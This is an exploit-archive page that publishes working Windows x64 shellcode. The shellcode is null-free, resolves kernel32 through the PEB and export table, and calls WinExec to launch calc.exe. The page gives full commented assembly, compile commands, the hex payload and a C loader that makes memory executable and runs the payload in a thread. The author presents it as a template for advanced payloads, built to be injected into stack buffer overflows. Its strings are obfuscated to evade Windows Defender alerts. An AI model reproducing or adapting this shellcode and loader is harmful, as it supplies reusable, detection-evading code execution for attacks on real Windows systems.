Windows/x64 dynamic nullfree winexec popcalc shellcode (205 bytes) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-05-03 | Type : shellcode | Platform : windows_x86-64
This exploit / vulnerability Windows/x64 dynamic nullfree winexec popcalc shellcode (205 bytes) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Shellcode Title: Windows/x64 - Dynamic Null-Free WinExec PopCalc Shellcode (205 Bytes)
# Shellcode Author: Bobby Cooke (boku)
# Date: 02/05/2021
# Tested on: Windows 10 v2004 (x64)
# Shellcode Description:
# 64bit Windows 10 shellcode that dynamically resolves the base address of kernel32.dll via PEB & ExportTable method.
# Contains no Null bytes (0x00), and therefor will not crash if injected into typical stack Buffer OverFlow vulnerabilities.
# Grew tired of Windows Defender alerts from MSF code when developing, so built this as a template for development of advanced payloads.

; Compile & get shellcode from Kali:
; nasm -f win64 popcalc.asm -o popcalc.o
; for i in $(objdump -D popcalc.o | grep "^ " | cut -f2); do echo -n "\x$i" ; done
; Get kernel32.dll base address
xor rdi, rdi ; RDI = 0x0
mul rdi ; RAX&RDX =0x0
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
mov r8, rbx ; RBX & R8 = &kernel32.dll

; Get kernel32.dll ExportTable Address
mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader
add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable

; Get &AddressTable from Kernel32.dll ExportTable
xor r10, r10
mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable
add r10, r8 ; R10 = &AddressTable

; Get &NamePointerTable from Kernel32.dll ExportTable
xor r11, r11
mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)

; Get &OrdinalTable from Kernel32.dll ExportTable
xor r12, r12
mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable
add r12, r8 ; R12 = &OrdinalTable

jmp short apis

; Get the address of the API from the Kernel32.dll ExportTable
getapiaddr:
pop rbx ; save the return address for ret 2 caller after API address is found
pop rcx ; Get the string length counter from stack
xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
push rcx ; push the string length counter to stack
loop:
mov rcx, [rsp] ; reset the string length counter from the stack
xor rdi,rdi ; Clear RDI for setting up string name retrieval
mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
repe cmpsb ; Compare strings at RDI & RSI
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
incloop:
inc rax
jmp short loop

; Find the address of GetProcAddress by using the last value of the Counter
resolveaddr:
pop rcx ; remove string length counter from top of stack
mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
push rbx ; place the return address from the api string call back on the top of the stack
ret ; return to API caller

apis: ; API Names to resolve addresses
; WinExec | String length : 7
xor rcx, rcx
add cl, 0x7 ; String length for compare string
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
push rax
push rcx ; push the string length counter to stack
call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
mov r14, rax ; R14 = Kernel32.WinExec Address

; UINT WinExec(
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
; );
xor rcx, rcx
mul rcx ; RAX & RDX & RCX = 0x0
; calc.exe | String length : 8
push rax ; Null terminate string on stack
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
not rax
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
push rax ; RSP = "calc.exe",0x0
mov rcx, rsp ; RCX = "calc.exe",0x0
inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
call r14 ; Call WinExec("calc.exe", SW_HIDE)


###########################################################################################################################################

// runShellcode.c
// C Shellcode Run Code referenced from reenz0h (twitter: @sektor7net)
#include <windows.h>
void main() {
void* exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Shellcode
unsigned char payload[] =
"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6";
unsigned int payload_len = 205;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec, payload, payload_len);
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, -1);
}